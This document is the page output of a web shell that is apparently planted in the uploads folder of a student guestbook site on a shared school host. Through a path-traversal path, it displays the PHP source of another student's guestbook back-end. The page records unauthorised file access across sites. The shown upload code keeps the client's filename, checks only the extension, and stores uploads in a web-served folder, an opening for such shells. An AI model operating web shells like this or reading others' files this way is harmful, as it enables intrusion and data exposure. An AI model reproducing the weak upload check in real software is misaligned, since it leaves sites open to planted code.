🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../../../587070.klas4s23.mid-ica.nl/public_html/Guest-Book-SD1-Per3/back.php

<?php
// session_start();

function uploadImage() {
    $target_dir = "imageupload/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
    
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check === false) {
        $uploadOk = 0;
    }

    if ($_FILES["fileToUpload"]["size"] > 15000000) {
        $uploadOk = 0;
    }
    
    if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
    && $imageFileType != "gif" ) {
        $uploadOk = 0;
    }
    
    if ($uploadOk == 0) {
        return null;
    } else {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            return $target_file;
        } else {
            return null;
        }
    }
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Check if a message has already been sent in this session
    if (!isset($_SESSION['message_sent'])) {
        $name = $_POST['name'];
        $message = $_POST['message'];
        $timestamp = time();
        $formattedDate = date('Y-m-d H:i:s', $timestamp);

        $picture = null;
        if(isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] == UPLOAD_ERR_OK) {
            $picture = uploadImage();
        }

        $new_messages = array(
            'name' => htmlentities($name),
            'message' => htmlentities($message),
            'timestamp' => $formattedDate,
            'imagepath' => $picture
        );

        $json_data = file_get_contents('data.json');
        $assoc_data = json_decode($json_data, true);

        $assoc_data[] = $new_messages;

        file_put_contents('data.json', json_encode($assoc_data, JSON_PRETTY_PRINT));

        $_SESSION['message_sent'] = true;

        // Clear input fields
        $_POST = array();
        // triggers for inut field clearing
        echo "clear";
        exit();
    } else {
        // triggers for pop-up
        echo "506";
        exit();
    }
}   

?>

🎯 Available Actions